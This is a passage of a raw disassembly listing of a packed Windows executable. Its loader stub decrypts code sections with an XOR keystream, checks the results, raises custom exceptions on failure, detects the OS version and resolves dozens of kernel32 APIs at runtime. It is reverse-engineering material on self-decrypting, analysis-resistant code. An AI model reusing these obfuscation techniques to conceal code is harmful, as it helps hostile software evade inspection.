ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 70h push esi push edi push 0 call ds:dword_421014 ; GetModuleHandleA mov [ebp+var_18], eax push 0D440h push 40h call ds:dword_421010 ; LocalAlloc mov [ebp+var_8], eax mov eax, [ebp+arg_4] sub eax, 402h mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 4 mov [ebp+var_10], ecx mov [ebp+var_1C], 0 mov [ebp+var_44], 1 mov [ebp+var_30], 0 mov [ebp+var_3C], offset aBarier ; "BARIER" loc_411363: ; CODE XREF: sub_411310+98j ; sub_411310+A0j mov edx, [ebp+var_10] mov eax, [edx] imul eax, 28h mov ecx, [ebp+var_4] add ecx, eax mov edx, [ebp+var_44] imul edx, 28h sub ecx, edx mov [ebp+var_30], ecx mov eax, [ebp+var_44] add eax, 1 mov [ebp+var_44], eax mov ecx, [ebp+var_30] mov edx, [ebp+var_18] add edx, [ecx+0Ch] mov [ebp+var_40], edx mov eax, [ebp+var_30] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov edx, [ebp+var_30] add ecx, [edx+8] mov [ebp+var_2C], ecx mov eax, [ebp+var_40] cmp eax, [ebp+var_3C] ja short loc_411363 mov ecx, [ebp+var_3C] cmp ecx, [ebp+var_2C] jnb short loc_411363 mov edx, [ebp+var_40] mov [ebp+var_20], edx jmp short loc_4113C3 ; --------------------------------------------------------------------------- loc_4113BA: ; CODE XREF: sub_411310+DAj mov eax, [ebp+var_40] add eax, 4 mov [ebp+var_40], eax loc_4113C3: ; CODE XREF: sub_411310+A8j mov ecx, [ebp+var_40] cmp ecx, [ebp+var_2C] jnb short loc_4113EC mov edx, [ebp+var_20] imul edx, 19660Dh add edx, 3C6EF375h mov [ebp+var_20], edx mov eax, [ebp+var_40] mov ecx, [eax] xor ecx, [ebp+var_20] mov edx, [ebp+var_40] mov [edx], ecx jmp short loc_4113BA ; --------------------------------------------------------------------------- loc_4113EC: ; CODE XREF: sub_411310+B9j mov eax, [ebp+var_30] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov [ebp+var_24], ecx mov edx, [ebp+var_24] mov eax, [edx] mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] mov [ebp+var_38], edx mov eax, [ebp+var_24] mov ecx, [eax+8] mov [ebp+var_34], ecx mov edx, [ebp+var_38] push edx push 40h call ds:dword_421010 ; LocalAlloc mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_411430 cmp [ebp+var_38], 10000h jbe short loc_411441 loc_411430: ; CODE XREF: sub_411310+115j push 0 push 0 push 0 push 0EF0000FEh call ds:dword_42100C ; RaiseException loc_411441: ; CODE XREF: sub_411310+11Ej mov ecx, [ebp+var_38] mov esi, [ebp+var_24] add esi, 0Ch mov edi, [ebp+var_1C] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_38] push eax mov ecx, [ebp+var_1C] push ecx mov ecx, [ebp+var_8] call sub_4110C0 cmp eax, [ebp+var_28] jz short loc_411489 push 0 push 0 push 0 push 0EF0000F8h call ds:dword_42100C ; RaiseException loc_411489: ; CODE XREF: sub_411310+166j mov edx, [ebp+var_28] push edx mov eax, [ebp+var_24] push eax push 0 call sub_410F9C add esp, 0Ch cmp eax, [ebp+var_34] jz short loc_4114B1 push 0 push 0 push 0 push 0EF0000FAh call ds:dword_42100C ; RaiseException loc_4114B1: ; CODE XREF: sub_411310+18Ej mov ecx, [ebp+var_1C] push ecx call ds:dword_421008 ; LocalFree push offset aKernel32_dll ; "kernel32.dll" call ds:dword_421014 ; GetModuleHandleA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4114E0 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_42100C ; RaiseException loc_4114E0: ; CODE XREF: sub_411310+1BDj push offset aFlushinstructi ; "FlushInstructionCache" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4245F0, eax push offset aGetcurrentproc ; "GetCurrentProcess" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov [ebp+var_14], eax cmp ds:dword_4245F0, 0 jnz short loc_411520 push 0 push 0 push 0 push 0EF0000FCh call ds:dword_42100C ; RaiseException loc_411520: ; CODE XREF: sub_411310+1FDj call [ebp+var_14] mov ds:dword_42460C, eax mov [ebp+var_48], 0 mov [ebp+var_68], 3 mov [ebp+var_58], 0 loc_41153D: ; CODE XREF: sub_411310+272j ; sub_411310+27Aj mov ecx, [ebp+var_10] mov edx, [ecx] imul edx, 28h mov eax, [ebp+var_4] add eax, edx mov ecx, [ebp+var_68] imul ecx, 28h sub eax, ecx mov [ebp+var_58], eax mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_58] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov [ebp+var_64], ecx mov edx, [ebp+var_58] mov eax, [ebp+var_18] add eax, [edx+0Ch] mov ecx, [ebp+var_58] add eax, [ecx+8] mov [ebp+var_54], eax mov edx, [ebp+var_64] cmp edx, [ebp+arg_0] jnb short loc_41153D mov eax, [ebp+arg_0] cmp eax, [ebp+var_54] jnb short loc_41153D mov ecx, [ebp+arg_0] mov [ebp+var_64], ecx mov edx, [ebp+var_64] mov [ebp+var_4C], edx mov eax, [ebp+var_64] add eax, 0Ch and al, 0FCh mov [ebp+var_64], eax jmp short loc_4115AE ; --------------------------------------------------------------------------- loc_4115A5: ; CODE XREF: sub_411310+2C4j mov ecx, [ebp+var_64] add ecx, 4 mov [ebp+var_64], ecx loc_4115AE: ; CODE XREF: sub_411310+293j mov edx, [ebp+var_64] cmp edx, [ebp+var_54] jnb short loc_4115D6 mov eax, [ebp+var_4C] imul eax, 19660Dh add eax, 3C6EF375h mov [ebp+var_4C], eax mov ecx, [ebp+var_64] mov edx, [ecx] xor edx, [ebp+var_4C] mov eax, [ebp+var_64] mov [eax], edx jmp short loc_4115A5 ; --------------------------------------------------------------------------- loc_4115D6: ; CODE XREF: sub_411310+2A4j mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_50], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_60], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_5C], eax mov ecx, [ebp+var_60] push ecx push 40h call ds:dword_421010 ; LocalAlloc mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_41160E cmp [ebp+var_60], 10000h jbe short loc_41161F loc_41160E: ; CODE XREF: sub_411310+2F3j push 0 push 0 push 0 push 0EF0000FFh call ds:dword_42100C ; RaiseException loc_41161F: ; CODE XREF: sub_411310+2FCj mov ecx, [ebp+var_60] mov esi, [ebp+arg_0] add esi, 0Ch mov edi, [ebp+var_48] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+var_50] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_60] push edx mov eax, [ebp+var_48] push eax mov ecx, [ebp+var_8] call sub_4110C0 cmp eax, [ebp+var_50] jz short loc_411667 push 0 push 0 push 0 push 0EF0000F9h call ds:dword_42100C ; RaiseException loc_411667: ; CODE XREF: sub_411310+344j mov ecx, [ebp+var_50] push ecx mov edx, [ebp+arg_0] push edx push 0 call sub_410F9C add esp, 0Ch cmp eax, [ebp+var_5C] jz short loc_41168F push 0 push 0 push 0 push 0EF0000FBh call ds:dword_42100C ; RaiseException loc_41168F: ; CODE XREF: sub_411310+36Cj mov eax, [ebp+var_50] push eax mov ecx, [ebp+arg_0] push ecx mov edx, ds:dword_42460C push edx call ds:dword_4245F0 ; FlushInstructionCache mov eax, [ebp+var_48] push eax call ds:dword_421008 ; LocalFree mov ecx, [ebp+var_8] push ecx call ds:dword_421008 ; LocalFree push offset dword_424988 call ds:dword_421000 ; InitializeCriticalSection call sub_412300 push 68h call sub_41BA4A add esp, 4 mov [ebp+var_6C], eax cmp [ebp+var_6C], 0 jz short loc_4116E8 mov ecx, [ebp+var_6C] call sub_411DF0 mov [ebp+var_70], eax jmp short loc_4116EF ; --------------------------------------------------------------------------- loc_4116E8: ; CODE XREF: sub_411310+3C9j mov [ebp+var_70], 0 loc_4116EF: ; CODE XREF: sub_411310+3D6j mov edx, offset dword_411740 mov eax, [ebp+var_70] mov [edx+4], eax call sub_41C307 mov ds:dword_42903C, eax mov ecx, [ebp+var_10] mov edx, [ecx] mov ds:dword_424618, edx mov eax, [ebp+var_4] mov ds:off_42461C, eax pop edi pop esi mov esp, ebp pop ebp retn sub_411310 endp ; --------------------------------------------------------------------------- align 10h loc_411720: ; CODE XREF: sub_411BADp call sub_411310 pop eax call loc_411E80 pop eax mov [esp+24h], eax popa pop eax pop eax call eax call sub_41D6F2 ; --------------------------------------------------------------------------- db 6 dup(0CCh) dword_411740 dd 0 ; DATA XREF: sub_411310:loc_4116EFo ; sub_41839F+2Bo ... db 90h db 1Eh, 85h, 0 dd 52454827h, 42534945h, 43544F4Fh, 2745444Fh, 6 aKbyr db 'KByR',0 ; DATA XREF: _5:off_42461Co align 4 dd 5000h, 1000h, 5 dup(0) dd 0E0000080h, 5279424Bh, 0 dd 9000h, 6000h, 8400h, 400h, 3 dup(0) dd 0E0000040h, 7273722Eh, 63h, 1000h, 0 dd 0C00h, 8800h, 3 dup(0) dd 0E0000040h, 7865742Eh, 74h, 10D8Fh, 10000h, 0AE00h dd 9400h, 3 dup(0) dd 0E0000040h, 6164722Eh, 6174h, 0CC4h, 21000h, 0E00h dd 14200h, 3 dup(0) dd 0E0000040h, 7461642Eh, 61h, 7070h, 22000h, 1A00h, 15000h dd 3 dup(0) dd 0E0000040h, 0BFh dup(0) dd 32000000h, 30353030h db 35h, 31h, 38h ; --------------------------------------------------------------------------- public start start: call $+5 pusha call sub_411BAD or al, 28h ; --------------------------------------------------------------------------- dd 24FC4A8Fh, 3D2B4A7Fh, 0AA3C655Eh, 7E9C585Bh, 0DA310FFDh dd 0BD9DA791h, 6BA7479h, 0A603F0ABh, 4206FA93h, 91DBB758h dd 68E44543h, 7E9CEC4Fh, 0DA310FFDh, 7E9CA791h, 0DA310FFDh ; --------------------------------------------------------------------------- xchg eax, ecx cmpsd ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_411B9E proc near ; CODE XREF: _3:00411F59p _3:00412CD0p ... jmp sub_41847D sub_411B9E endp ; --------------------------------------------------------------------------- jmp loc_418496 ; --------------------------------------------------------------------------- jmp loc_418496 ; =============== S U B R O U T I N E ======================================= sub_411BAD proc near ; CODE XREF: _3:00411B59p call loc_411720 jmp sub_420D80 sub_411BAD endp ; --------------------------------------------------------------------------- jmp sub_420D80 ; --------------------------------------------------------------------------- dd 0CBCB4CE9h, 0E452E9DBh, 0E7E9626Dh, 0E9234555h, 0CAF38650h dd 0D48F9C69h, 0E91DD9Eh, 1C4E2A77h, 0E954A1E0h, 20h, 0F3h dd 2050700h, 874h, 5 dup(0) ; --------------------------------------------------------------------------- aaa push ecx add al, 30h and edi, ds:929B7A5Fh retf 1E02h ; --------------------------------------------------------------------------- aRBposta_exe_bo db 'RÏ¡posta.exe.BOX',0 align 4 dd 0Ch dup(0) dd 2A2E2A00h, 63h dup(0) align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DF0 proc near ; CODE XREF: sub_411310+3CEp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax+60h], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx+64h], 0 push offset aKernel32_dll ; "kernel32.dll" call ds:dword_421014 ; GetModuleHandleA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411E32 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_42100C ; RaiseException loc_411E32: ; CODE XREF: sub_411DF0+2Fj mov edx, [ebp+var_8] push edx call ds:dword_421000 ; InitializeCriticalSection mov eax, [ebp+var_8] add eax, 18h push eax call ds:dword_421000 ; InitializeCriticalSection mov ecx, [ebp+var_8] add ecx, 30h push ecx call ds:dword_421000 ; InitializeCriticalSection mov edx, [ebp+var_8] add edx, 48h push edx call ds:dword_421000 ; InitializeCriticalSection mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_411DF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E70 proc near ; CODE XREF: sub_416C60+50p push ebp mov ebp, esp mov eax, ds:dword_424608 mov al, [eax+70h] pop ebp retn sub_411E70 endp ; --------------------------------------------------------------------------- align 10h loc_411E80: ; CODE XREF: _3:00411726p push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi mov eax, [ebp+8] mov ds:dword_424608, eax push offset aKernel32_dll ; "kernel32.dll" call ds:dword_424698 ; GetModuleHandleA mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_411EB9 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_4246F8 ; RaiseException loc_411EB9: ; CODE XREF: _3:00411EA6j push offset aVirtualalloc ; "VirtualAlloc" mov ecx, [ebp-8] push ecx call ds:dword_4246A8 ; GetProcAddress mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz short loc_411EE2 push 0 push 0 push 0 push 0EF0000FCh call ds:dword_4246F8 ; RaiseException loc_411EE2: ; CODE XREF: _3:00411ECFj push 4 push 1000h push 1000h push 0 call dword ptr [ebp-0Ch] mov ds:dword_4245F4, eax push 4 push 2000h call ds:dword_4246BC ; GetTickCount xor edx, edx mov ecx, 8000h div ecx push edx push 0 call dword ptr [ebp-0Ch] mov ds:dword_4245FC, eax push 4 push 1000h push 1000h push 0 call dword ptr [ebp-0Ch] mov ds:dword_4245F8, eax mov edx, ds:dword_4245F4 mov dword ptr [edx], 19660Dh mov eax, ds:dword_4245F8 mov dword ptr [eax], 3C6EF35Fh mov dword ptr [ebp-14h], 0 mov dword ptr [ebp-4], 0 push 2E0000h call sub_411B9E mov ch, 0A2h or al, 85h fsubr qword ptr [edi-251891FAh] dec edi imul ebx, [ebx-32h], 6316BDBh xchg bl, [ecx-504336D7h] setalc push dword ptr [edi+7Bh] outsb popa and ch, [ebp-13626B3Fh] xchg eax, ecx sub [ebx], dl add ch, ds:9EA855D2h xchg eax, ecx jmp short loc_411FA6 ; --------------------------------------------------------------------------- dw 62A6h dd 38BC7C2Ah, 0B3F58568h, 3E312407h, 346165C0h, 36A8C3Dh ; --------------------------------------------------------------------------- fnclex loc_411FA6: ; CODE XREF: _3:00411F8Cj int 57h out 1Ch, eax icebp cmc in al, 0D7h movsd sar byte ptr [ebp+edx*4-14h], cl mov edi, 0EF5A7EF6h pop edi ; --------------------------------------------------------------------------- db 0C4h, 0D1h, 0DEh dd 120590EBh, 91D12C04h, 90929FA8h, 85D23390h, 8BEE75D2h dd 0C0830845h, 0E8458971h, 21001B68h, 0FBBCE800h, 9090FFFFh dd 0C985C933h, 558BEE75h, 8D8D52E8h, 0FFFFFF18h, 4064E8h dd 216800h, 9BE80026h, 90FFFFFBh, 85C03390h, 6AEE75C0h dd 40D8B08h, 51004246h, 0FF188D8Dh, 9E8FFFFh, 68000045h dd 26h, 0FFFB75E8h, 0BD11E4FFh, 0B7672D49h, 0F664B421h dd 49F51026h, 0CEAEBBCCh, 17454BFBh, 4D57D95Fh, 71BCE89Eh dd 6C671012h, 9FBD1A3Bh, 15897C62h, 0EFD5B867h, 16F1E4D7h dd 0CDDAE335h, 0C0339090h, 0EE75C085h, 46040D8Bh, 118B0042h dd 0A1F05589h, 424604h, 4D89088Bh, 9468ECh, 0C3E80000h dd 83000099h, 858904C4h, 0FFFFFEFCh, 0FEFC958Bh, 9589FFFFh dd 0FFFFFF14h, 25B9h, 8BC03300h, 0FFFF14BDh, 8BABF3FFh dd 0FFFF1485h, 9400C7FFh, 8B000000h, 0FFFF148Dh, 15FF51FFh dd 4246B8h, 0FF14958Bh, 428BFFFFh, 4600A310h, 85C70042h dd 0FFFFFF10h, 0 ; --------------------------------------------------------------------------- mov ecx, ds:dword_424600 mov [ebp-10Ch], ecx cmp dword ptr [ebp-10Ch], 0 jz short loc_412108 cmp dword ptr [ebp-10Ch], 1 jz short loc_412117 cmp dword ptr [ebp-10Ch], 2 jz short loc_41216E jmp loc_41220B ; --------------------------------------------------------------------------- loc_412108: ; CODE XREF: _3:004120EFj mov dword ptr [ebp-0F0h], offset aWin32s ; "win32s" jmp loc_41220B ; --------------------------------------------------------------------------- loc_412117: ; CODE XREF: _3:004120F8j mov edx, [ebp-0ECh] cmp dword ptr [edx+8], 0 jnz short loc_41212F mov dword ptr [ebp-0F0h], offset aWindows95 ; "Windows95" jmp short loc_412169 ; --------------------------------------------------------------------------- loc_41212F: ; CODE XREF: _3:00412121j mov eax, [ebp-0ECh] cmp dword ptr [eax+8], 0Ah jnz short loc_412147 mov dword ptr [ebp-0F0h], offset aWindows98 ; "Windows98" jmp short loc_412169 ; --------------------------------------------------------------------------- loc_412147: ; CODE XREF: _3:00412139j mov ecx, [ebp-0ECh] cmp dword ptr [ecx+8], 5Ah jnz short loc_41215F mov dword ptr [ebp-0F0h], offset aWindowsme ; "WindowsMe" jmp short loc_412169 ; --------------------------------------------------------------------------- loc_41215F: ; CODE XREF: _3:00412151j mov dword ptr [ebp-0F0h], offset aWindows9xUnkno ; "Windows9x(unknown)" loc_412169: ; CODE XREF: _3:0041212Dj _3:00412145j ... jmp loc_41220B ; --------------------------------------------------------------------------- loc_41216E: ; CODE XREF: _3:00412101j mov edx, [ebp-0ECh] cmp dword ptr [edx+4], 3 jnz short loc_412189 mov dword ptr [ebp-0F0h], offset aWindowsnt3_51 ; "WindowsNT(3.51)" jmp loc_41220B ; --------------------------------------------------------------------------- loc_412189: ; CODE XREF: _3:00412178j mov eax, [ebp-0ECh] cmp dword ptr [eax+4], 4 jnz short loc_4121A1 mov dword ptr [ebp-0F0h], offset aWindowsnt4_0 ; "WindowsNT(4.0)" jmp short loc_41220B ; --------------------------------------------------------------------------- loc_4121A1: ; CODE XREF: _3:00412193j mov ecx, [ebp-0ECh] cmp dword ptr [ecx+4], 5 jnz short loc_412201 mov edx, [ebp-0ECh] cmp dword ptr [edx+8], 0 jnz short loc_4121C5 mov dword ptr [ebp-0F0h], offset aWindows2000 ; "Windows2000" jmp short loc_4121FF ; --------------------------------------------------------------------------- loc_4121C5: ; CODE XREF: _3:004121B7j mov eax, [ebp-0ECh] cmp dword ptr [eax+8], 1 jnz short loc_4121DD mov dword ptr [ebp-0F0h], offset aWindowsxp ; "WindowsXP" jmp short loc_4121FF ; --------------------------------------------------------------------------- loc_4121DD: ; CODE XREF: _3:004121CFj mov ecx, [ebp-0ECh] cmp dword ptr [ecx+8], 2 jnz short loc_4121F5 mov dword ptr [ebp-0F0h], offset aWindows_net ; "Windows.NET" jmp short loc_4121FF ; --------------------------------------------------------------------------- loc_4121F5: ; CODE XREF: _3:004121E7j mov dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)" loc_4121FF: ; CODE XREF: _3:004121C3j _3:004121DBj ... jmp short loc_41220B ; --------------------------------------------------------------------------- loc_412201: ; CODE XREF: _3:004121ABj mov dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)" loc_41220B: ; CODE XREF: _3:00412103j _3:00412112j ... mov edx, [ebp-0ECh] mov [ebp-108h], edx mov eax, [ebp-108h] push eax call sub_41BACD add esp, 4 mov ecx, ds:dword_424604 mov edx, [ecx+2Ch] mov [ebp-0F4h], edx cmp dword ptr [ebp-0F4h], 0 jz short loc_4122AF mov eax, [ebp-0F4h] mov [ebp-0FCh], eax mov dword ptr [ebp-0F8h], 0 jmp short loc_412265 ; --------------------------------------------------------------------------- loc_412256: ; CODE XREF: _3:004122ADj mov ecx, [ebp-0F8h] add ecx, 1 mov [ebp-0F8h], ecx loc_412265: ; CODE XREF: _3:00412254j cmp dword ptr [ebp-0F8h], 80h jge short loc_4122AF mov edx, [ebp-0FCh] imul edx, 19660Dh add edx, 3C6EF35Fh mov [ebp-0FCh], edx mov eax, [ebp-0F8h] mov ecx, [ebp-0F4h] mov edx, [ecx+eax*4] xor edx, [ebp-0FCh] mov eax, [ebp-0F8h] mov ecx, [ebp-0F4h] mov [ecx+eax*4], edx jmp short loc_412256 ; --------------------------------------------------------------------------- loc_4122AF: ; CODE XREF: _3:0041223Cj _3:0041226Fj mov edx, ds:dword_424604 mov eax, [edx+24h] and eax, 10h neg eax sbb eax, eax neg eax mov ds:byte_424614, al call sub_418780 mov ecx, [ebp-14h] mov [ebp+8], ecx cmp ds:dword_4289B4, 0 jz short loc_4122ED push 0 push 0 push 0 mov edx, ds:dword_4289B4 push edx call ds:dword_4247B8 ; PostMessageA loc_4122ED: ; CODE XREF: _3:004122D8j xor eax, eax pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412300 proc near ; CODE XREF: sub_411310+3B3p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push offset aKernel32_dll ; "kernel32.dll" call ds:dword_421014 ; GetModuleHandleA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41232B push 0 push 0 push 0 push 0EF0000FDh call ds:dword_42100C ; RaiseException loc_41232B: ; CODE XREF: sub_412300+18j push offset aClosehandle ; "CloseHandle" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424624, eax push offset aCreatefilea ; "CreateFileA" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424628, eax push offset aCreatefilew ; "CreateFileW" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_42462C, eax push offset aCreatefilemapp ; "CreateFileMappingA" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424630, eax push offset aCreatefilema_0 ; "CreateFileMappingW" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424634, eax push offset aCreateprocessa ; "CreateProcessA" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424638, eax push offset aDebugbreak ; "DebugBreak" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_42463C, eax push offset aDeletefilea ; "DeleteFileA" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424640, eax push offset aEntercriticals ; "EnterCriticalSection" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424644, eax push offset aExitprocess ; "ExitProcess" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424648, eax push offset aFindclose ; "FindClose" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_42464C, eax push offset aFindfirstfilea ; "FindFirstFileA" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424650, eax push offset aFindnextfilea ; "FindNextFileA" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424654, eax push offset aFlushfilebuffe ; "FlushFileBuffers" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424658, eax push offset aFormatmessagea ; "FormatMessageA" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_42465C, eax push offset aFreelibrary ; "FreeLibrary" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424660, eax push offset aGetcurrentproc ; "GetCurrentProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424664, eax push offset aGetcurrentpr_0 ; "GetCurrentProcessId" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424668, eax push offset aGetenvironment ; "GetEnvironmentVariableA" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_42466C, eax push offset aGetexitcodepro ; "GetExitCodeProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424670, eax push offset aGetfileattribu ; "GetFileAttributesA" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424674, eax push offset aGetfileattri_0 ; "GetFileAttributesW" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424678, eax push offset aGetfileinforma ; "GetFileInformationByHandle" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_42467C, eax push offset aGetfilesize ; "GetFileSize" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424680, eax push offset aGetfiletime ; "GetFileTime" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424684, eax push offset aGetfullpathnam ; "GetFullPathNameA" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424688, eax push offset aGetfullpathn_0 ; "GetFullPathNameW" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_42468C, eax push offset aGetlasterror ; "GetLastError" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424690, eax push offset aGetmodulefilen ; "GetModuleFileNameA" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424694, eax push offset aGetmodulehandl ; "GetModuleHandleA" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424698, eax push offset aGetprivateprof ; "GetPrivateProfileIntA" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_42469C, eax push offset aGetprivatepr_0 ; "GetPrivateProfileSectionNamesA" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246A0, eax push offset aGetprivatepr_1 ; "GetPrivateProfileStringA" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246A4, eax push offset aGetprocaddress ; "GetProcAddress" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4246A8, eax push offset aGetsystemtimea ; "GetSystemTimeAsFileTime" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246AC, eax push offset aGettempfilenam ; "GetTempFileNameA" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246B0, eax push offset aGettemppatha ; "GetTempPathA" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4246B4, eax push offset aGetversionexa ; "GetVersionExA" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246B8, eax push offset aGettickcount ; "GetTickCount" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246BC, eax push offset aHeapalloc ; "HeapAlloc" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4246C0, eax push offset aHeapfree ; "HeapFree" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246C4, eax push offset aHeapcreate ; "HeapCreate" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246C8, eax push offset aInitializecrit ; "InitializeCriticalSection" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4246CC, eax push offset aDeletecritical ; "DeleteCriticalSection" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246D0, eax push offset aLeavecriticals ; "LeaveCriticalSection" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246D4, eax push offset aLoadlibrarya ; "LoadLibraryA" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4246DC, eax push offset aLoadlibraryexa ; "LoadLibraryExA" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246D8, eax push offset aLocalalloc ; "LocalAlloc" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246E0, eax push offset aLocalfree ; "LocalFree" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4246E4, eax push offset aLockfile ; "LockFile" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246E8, eax push offset aMapviewoffile ; "MapViewOfFile" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246EC, eax push offset aMultibytetowid ; "MultiByteToWideChar" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4246F0, eax push offset aOpenprocess ; "OpenProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4246F4, eax push offset aRaiseexception ; "RaiseException" mov edx, [ebp+var_C] push edx call 